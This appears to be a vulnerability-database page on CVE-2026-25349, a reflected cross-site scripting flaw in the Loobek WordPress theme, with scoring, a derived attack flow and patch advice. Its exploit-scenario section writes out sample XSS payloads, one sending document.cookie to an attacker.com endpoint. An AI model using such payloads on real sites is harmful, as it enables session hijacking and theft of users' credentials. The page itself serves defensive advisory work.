Skip to main content

Loobek CVE-2026-25349

| EUVDEUVD-2026-15664 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-03-25 Patchstack GHSA-mj42-5g77-9x8h
7.1
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious URL with XSS payload
  2. Delivery
    Distribute link to target user
  3. Exploit
    User clicks link in browser
  4. Execution
    Reflected XSS executes in victim's session
  5. Persist
    Steal cookies or session tokens
  6. Impact
    Redirect to phishing page

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Remote attacker crafts malicious URL containing XSS payload and sends to victim. Victim must click the link in Loobek versions before 1.5.2. No authentication required. Reflected XSS executes in victim's browser with access to session cookies and user data.

Impact

While a CVSS score and vector are not provided, the vulnerability is classified as Reflected XSS, which typically carries medium to high severity depending on context. The attack vector is likely network-based (since reflected XSS requires URL manipulation) and requires user interaction (clicking a malicious link), reducing the attack complexity. Reflected XSS is not typically included in CISA's Known Exploited Vulnerabilities (KEV) catalog unless actively exploited at scale, but proof-of-concept (POC) code for Reflected XSS is trivial to construct and widely available in public repositories. The real-world risk is substantial for users of Loobek who manage websites with authentication or sensitive user data, as attackers can steal session cookies, perform actions on behalf of logged-in users, or inject credential-harvesting forms. However, exploitation requires social engineering (convincing users to click a crafted URL), which is a limiting factor compared to zero-click exploits. The presence of a fix (version 1.5.2 or later) and active reporting via Patchstack indicate this is a legitimate, remediable vulnerability with moderate urgency for administrators.

Exploit ScenarioDerived

An attacker crafts a malicious URL such as https://victim-site.com/?page=<script>alert('xss')</script> or uses a more sophisticated payload to steal session cookies: https://victim-site.com/search?q=<img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'>, then distributes this link via email, social media, or phishing campaigns. When a logged-in administrator or user visits the link, the injected script executes in their browser within the context of the victim website, allowing the attacker to steal authentication tokens, modify page content, redirect to phishing pages, or perform unauthorized administrative actions. No POC exploit code availability is mentioned in the intelligence sources, but Reflected XSS exploits are trivial to craft and test locally.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 25, 2026

A Reflected Cross-Site Scripting (XSS) vulnerability exists in the skygroup Loobek theme (CWE-79: Improper Neutralization of Input During Web Page Generation) that allows attackers to inject malicious scripts into web pages viewed by users. The vulnerability affects Loobek versions prior to 1.5.2, as documented by Patchstack and tracked under ENISA EUVD ID EUVD-2026-15664. An attacker can craft a malicious URL containing unescaped input that, when clicked by a victim, executes arbitrary JavaScript in the victim's browser context, potentially leading to session hijacking, credential theft, or malware distribution.

RemediationAI

Upgrade the Loobek theme to version 1.5.2 or later immediately. Visit the Patchstack vulnerability database (https://patchstack.com/database/Wordpress/Theme/loobek/vulnerability/wordpress-loobek-theme-1-5-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve) for detailed patch information and update instructions. For environments where immediate patching is not feasible, implement a Web Application Firewall (WAF) rule to block requests containing common XSS payloads in query strings and URL parameters, enforce Content Security Policy (CSP) headers to restrict script execution sources, and educate site administrators and users to avoid clicking on untrusted external links pointing to their own domain. Additionally, ensure all WordPress core files and other plugins are kept up to date, and consider using a security plugin to monitor for suspicious activity and provide additional input validation.

Affected VersionsENISA

Loobek n/a ≤< 1.5.2

Affected Packages

euvd loobek_n_a fix: 1.5.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the Loobek theme (cpe:2.3:a:skygroup:loobek:*:*:*:*:*:*:*:*), a WordPress theme component developed by skygroup. The root cause is CWE-79, which describes the failure to neutralize user-supplied input before it is output into dynamically generated web pages. In the context of a WordPress theme, this typically occurs when theme functions or template files directly output GET/POST parameters, URL query strings, or referrer headers without proper sanitization, escaping, or validation. The reflected nature of this XSS means the malicious payload is not stored in a database but travels through the URL or request itself, making it dependent on social engineering or link-injection attacks for successful exploitation. The theme's handling of user input in page generation routines—likely in theme hooks, template rendering, or custom shortcode handlers—fails to apply WordPress security functions such as esc_url(), esc_attr(), esc_html(), or wp_kses_post().

Know when Loobek gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.1 HIGH
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

Lifecycle Timeline

3
Analysis Updated
Apr 16, 2026 - 06:15 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
1.5.2
CVE Published
Mar 25, 2026 - 16:14 nvd
HIGH 7.1

DescriptionCVE.org

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in skygroup Loobek loobek allows Reflected XSS.This issue affects Loobek: from n/a through < 1.5.2.

Executive ViewAI

Why It Matters

The Loobek theme contains a reflected XSS vulnerability (CVE-2026-25349) that allows attackers to execute arbitrary JavaScript in users' browsers through malicious URLs, creating risk of session hijacking and credential theft for any organization using affected versions. This client-side attack requires user interaction but poses direct risk to website visitors and staff, potentially compromising authentication and sensitive data access.

Business Impact: High
Compensating Controls

Vendor-released patch: Loobek version 1.5.2 or later. If immediate patching is not feasible: implement strict Content Security Policy headers to restrict inline script execution; deploy Web Application Firewall (WAF) rules to detect and block common XSS payloads in URL parameters; enforce HTTPS with Secure and HttpOnly cookie flags; conduct user education on avoiding suspicious links.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy